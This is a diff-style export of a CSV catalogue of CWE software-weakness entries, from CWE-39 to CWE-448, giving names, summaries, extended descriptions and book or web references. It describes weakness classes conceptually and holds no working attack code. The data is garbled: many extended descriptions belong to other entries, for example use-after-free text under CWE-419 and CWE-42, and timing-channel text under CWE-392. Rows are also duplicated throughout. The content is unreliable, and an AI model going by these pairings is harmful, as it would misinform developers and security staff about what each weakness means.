1229 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,unclassified,
12301230 CWE-39,Path Traversal: C:dirname (Type: Variant),"An attacker can inject a drive letter or Windows volume letter ('C:dirname') into a software system to potentially redirect access to an unintended location or arbitrary file.
12311231 In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.
1232 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,unclassified,
1232 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,unclassified,
12331233 CWE-392,Missing Report of Error Condition (Type: Base),"The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.
12341234 In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.
1235 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,unclassified,
1235 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,unclassified,
12361236 CWE-393,Return of Wrong Status Code (Type: Base),"A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.
1237 This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.",,unclassified,
1237 This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.",,unclassified,
12381238 CWE-394,Unexpected Status Code or Return Value (Type: Base),"The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.
1239 This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.",,unclassified,
1239 This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.",,unclassified,
12401240 CWE-395,Use of NullPointerException Catch to Detect NULL Pointer Dereference (Type: Base),"Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.
1241 This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.",,unclassified,
1241 This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.",,unclassified,
12421242 CWE-396,Declaration of Catch for Generic Exception (Type: Base),"Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
1243 Multiple catch blocks can get ugly and repetitive, but ""condensing"" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 9: Catching Exceptions."" Page 157"
1243 Multiple catch blocks can get ugly and repetitive, but ""condensing"" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 9: Catching Exceptions."" Page 157"
12441244 CWE-397,Declaration of Throws for Generic Exception (Type: Base),"Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
1245 Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.",,unclassified,
1245 Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.",,unclassified,
12461246 CWE-398,Indicator of Poor Code Quality (Type: Class),"The code has features that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained.
1247 Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.",,unclassified,
1247 Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.",,unclassified,
12481248 CWE-40,Path Traversal: \\UNC\share\name\ (Windows UNC Share) (Type: Variant),"An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
1249 Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.",,unclassified,"The Art of Software Security Assessment: Chapter 11, ""Filelike Objects"", Page 664."
1249 Programs are more likely to be secure when good development practices are followed. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.",,unclassified,"The Art of Software Security Assessment: Chapter 11, ""Filelike Objects"", Page 664."
12501250 CWE-402,Transmission of Private Resources into a New Sphere (Resource Leak) (Type: Class),"The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.
1251 This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.",,unclassified,
1251 This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.",,unclassified,
12521252 CWE-403,Exposure of File Descriptor to Unintended Control Sphere (File Descriptor Leak) (Type: Base),"A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.
12531253 When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.",,unclassified,"File descriptors and setuid applications: https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications
1254 Introduction to Secure Coding Guide: https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/AccessControl.html"
1254 Introduction to Secure Coding Guide: https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/AccessControl.html"
12551255 CWE-405,Asymmetric Resource Consumption (Amplification) (Type: Class),"Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.
1256 This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.",,unclassified,
1256 This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.",,unclassified,
12571257 CWE-406,Insufficient Control of Network Message Volume (Network Amplification) (Type: Base),"The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.
1258 In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.",,unclassified,
1258 In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.",,unclassified,
12591259 CWE-408,Incorrect Behavior Order: Early Amplification (Type: Base),"The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.
1260 In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.",,unclassified,
1260 In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.",,unclassified,
12611261 CWE-409,Improper Handling of Highly Compressed Data (Data Amplification) (Type: Base),"The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
1262 An example of data amplification is a ""decompression bomb,"" a small ZIP file that can produce a large amount of data when it is decompressed.",,unclassified,
1262 An example of data amplification is a ""decompression bomb,"" a small ZIP file that can produce a large amount of data when it is decompressed.",,unclassified,
12631263 CWE-41,Improper Resolution of Path Equivalence (Type: Base),"The system or application is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.
1264 Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.",,unclassified,
1264 Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.",,unclassified,
12651265 CWE-410,Insufficient Resource Pool (Type: Base),"The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.
1266 Frequently the consequence is a ""flood"" of connection or sessions.",,unclassified,"Writing Secure Code: Chapter 17, ""Protecting Against Denial of Service Attacks"" Page 517"
1266 Frequently the consequence is a ""flood"" of connection or sessions.",,unclassified,"Writing Secure Code: Chapter 17, ""Protecting Against Denial of Service Attacks"" Page 517"
12671267 CWE-412,Unrestricted Externally Accessible Lock (Type: Base),"The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.
1268 This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.",,unclassified,
1268 This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.",,unclassified,
12691269 CWE-413,Improper Resource Locking (Type: Base),"The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.
1270 When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.",,unclassified,
1270 When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.",,unclassified,
12711271 CWE-414,Missing Lock Check (Type: Base),"A product does not check to see if a lock is present before performing sensitive operations on a resource.
1272 When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.",,unclassified,
1272 When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.",,unclassified,
12731273 CWE-419,Unprotected Primary Channel (Type: Base),"The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.
12741274 The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:
12751275 Error conditions and other exceptional circumstances.
12761276 Confusion over which part of the program is responsible for freeing the memory.
12771277 In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.
1278 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,unclassified,
1278 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,unclassified,
12791279 CWE-42,Path Equivalence: filename. (Trailing Dot) (Type: Variant),"A software system that accepts path input in the form of trailing dot ('filedir.') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
12801280 The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:
12811281 Error conditions and other exceptional circumstances.
12821282 Confusion over which part of the program is responsible for freeing the memory.
12831283 In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.
1284 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,unclassified,
1284 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,unclassified,
12851285 CWE-420,Unprotected Alternate Channel (Type: Base),"The software protects a primary channel, but it does not use the same level of protection for an alternate channel.
12861286 The use of previously-freed memory can have any number of adverse consequences, ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Use-after-free errors have two common and sometimes overlapping causes:
12871287 Error conditions and other exceptional circumstances.
12881288 Confusion over which part of the program is responsible for freeing the memory.
12891289 In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process.
1290 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,unclassified,
1290 If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.",,unclassified,
12911291 CWE-421,Race Condition During Access to Alternate Channel (Type: Base),"The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.
12921292 This creates a race condition that allows an attacker to access the channel before the authorized user does.",,unclassified,"Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit: http://www.blakewatts.com/namedpipepaper.html
1293 24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
1293 24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
12941294 CWE-422,Unprotected Windows Messaging Channel (Shatter) (Type: Variant),"The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.
12951295 This creates a race condition that allows an attacker to access the channel before the authorized user does.",,unclassified,"Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows: http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html
12961296 The Art of Software Security Assessment: Chapter 2, ""Design Review."" Page 34.
1297 The Art of Software Security Assessment: Chapter 12, ""Shatter Attacks"", Page 694."
1297 The Art of Software Security Assessment: Chapter 12, ""Shatter Attacks"", Page 694."
12981298 CWE-423,DEPRECATED (Duplicate): Proxied Trusted Channel (Type: Base),"This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.
1299 This creates a race condition that allows an attacker to access the channel before the authorized user does.",,unclassified,
1299 This creates a race condition that allows an attacker to access the channel before the authorized user does.",,unclassified,
13001300 CWE-424,Improper Protection of Alternate Path (Type: Class),"The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
1301 This creates a race condition that allows an attacker to access the channel before the authorized user does.",,unclassified,
1301 This creates a race condition that allows an attacker to access the channel before the authorized user does.",,unclassified,
13021302 CWE-425,Direct Request (Forced Browsing) (Type: Base),"The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.
1303 Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.",,unclassified,
1303 Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.",,unclassified,
13041304 CWE-427,Uncontrolled Search Path Element (Type: Base),"The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.
13051305 Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as ""/tmp"" or the current working directory.
13061306 In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:
13151315 An update on the DLL-preloading remote attack vector: http://blogs.technet.com/b/srd/archive/2010/08/23/an-update-on-the-dll-preloading-remote-attack-vector.aspx
13161316 Insecure Library Loading Could Allow Remote Code Execution: http://www.microsoft.com/technet/security/advisory/2269637.mspx
13171317 Application DLL Load Hijacking: http://blog.rapid7.com/?p=5325
1318 DLL Hijacking: Facts and Fiction: http://threatpost.com/en_us/blogs/dll-hijacking-facts-and-fiction-082610"
1318 DLL Hijacking: Facts and Fiction: http://threatpost.com/en_us/blogs/dll-hijacking-facts-and-fiction-082610"
13191319 CWE-428,Unquoted Search Path or Element (Type: Base),"The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.
1320 If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as ""C:\Program.exe"" to be run by a privileged program making use of WinExec.",,unclassified,"The Art of Software Security Assessment: Chapter 11, ""Process Loading"", Page 654."
1320 If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as ""C:\Program.exe"" to be run by a privileged program making use of WinExec.",,unclassified,"The Art of Software Security Assessment: Chapter 11, ""Process Loading"", Page 654."
13211321 CWE-43,Path Equivalence: filename.... (Multiple Trailing Dot) (Type: Variant),"A software system that accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1322 If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as ""C:\Program.exe"" to be run by a privileged program making use of WinExec.",,unclassified,
1322 If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as ""C:\Program.exe"" to be run by a privileged program making use of WinExec.",,unclassified,
13231323 CWE-430,Deployment of Wrong Handler (Type: Base),"The wrong ""handler"" is assigned to process an object.
1324 An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically ""determining"" type of the object even if it is contradictory to an explicitly specified type.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""File Handlers"", Page 74."
1324 An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically ""determining"" type of the object even if it is contradictory to an explicitly specified type.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""File Handlers"", Page 74."
13251325 CWE-431,Missing Handler (Type: Base),"A handler is not available or implemented.
1326 When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""File Handlers"", Page 74."
1326 When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""File Handlers"", Page 74."
13271327 CWE-432,Dangerous Signal Handler not Disabled During Sensitive Operations (Type: Base),"The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.
1328 During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.",,unclassified,
1328 During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.",,unclassified,
13291329 CWE-433,Unparsed Raw Web Content Delivery (Type: Variant),"The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.
1330 If code is stored in a file with an extension such as "".inc"" or "".pl"", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""File Handlers"", Page 74."
1330 If code is stored in a file with an extension such as "".inc"" or "".pl"", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""File Handlers"", Page 74."
13311331 CWE-435,Interaction Error (Type: Class),"An interaction error occurs when two entities work correctly when running independently, but they interact in unexpected ways when they are run together.
1332 This could apply to products, systems, components, etc.",,unclassified,
1332 This could apply to products, systems, components, etc.",,unclassified,
13331333 CWE-436,Interpretation Conflict (Type: Base),"Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
13341334 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,"On Interpretation Conflict Vulnerabilities
13351335 Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection: http://www.insecure.org/stf/secnet_ids/secnet_ids.pdf
13361336 0x00 vs ASP file upload scripts: http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf
13371337 Poison NULL byte
1338 Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding: http://marc.theaimsgroup.com/?l=bugtraq&m=109525864717484&w=2"
1338 Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding: http://marc.theaimsgroup.com/?l=bugtraq&m=109525864717484&w=2"
13391339 CWE-437,Incomplete Model of Endpoint Features (Type: Base),"A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.
1340 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
1340 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
13411341 CWE-439,Behavioral Change in New Version or Environment (Type: Base),"A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.
1342 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
1342 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
13431343 CWE-44,Path Equivalence: file.name (Internal Dot) (Type: Variant),"A software system that accepts path input in the form of internal dot ('file.ordir') without appropriate validation can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1344 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
1344 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
13451345 CWE-440,Expected Behavior Violation (Type: Base),"A feature, API, or function being used by a product behaves differently than the product expects.
1346 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
1346 This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that allow, deny, or modify traffic based on how the client or server is expected to behave.",,unclassified,
13471347 CWE-441,Unintended Proxy or Intermediary (Confused Deputy) (Type: Class),"The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
13481348 If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.
13491349 Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:
13501350 The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
13511351 The attacker is prevented from making the request directly to the target; and
1352 The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.",,unclassified,The Confused Deputy (or why capabilities might have been invented): http://www.cap-lore.com/CapTheory/ConfusedDeputy.html
1352 The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.",,unclassified,The Confused Deputy (or why capabilities might have been invented): http://www.cap-lore.com/CapTheory/ConfusedDeputy.html
13531353 CWE-443,DEPRECATED (Duplicate): HTTP response splitting (Type: Base),"This weakness can be found at CWE-113.
13541354 If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.
13551355 Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:
13561356 The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
13571357 The attacker is prevented from making the request directly to the target; and
1358 The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.",,unclassified,
1358 The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.",,unclassified,
13591359 CWE-444,Inconsistent Interpretation of HTTP Requests (HTTP Request Smuggling) (Type: Base),"When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to ""smuggle"" a request to one device without the other device being aware of it.
13601360 If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.
13611361 Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:
13621362 The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;
13631363 The attacker is prevented from making the request directly to the target; and
1364 The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.",,unclassified,HTTP Request Smuggling: http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
1364 The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.",,unclassified,HTTP Request Smuggling: http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
13651365 CWE-446,UI Discrepancy for Security Feature (Type: Base),"The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.
1366 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1366 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13671367 CWE-447,Unimplemented or Unsupported Feature in UI (Type: Base),"A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.
1368 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
1368 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
13691369 CWE-448,Obsolete Feature in UI (Type: Base),"A UI function is obsolete and the product does not warn the user.
1370 When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a ""restrict ALL'"" access control rule, but the software only implements ""restrict SOME"".",,unclassified,
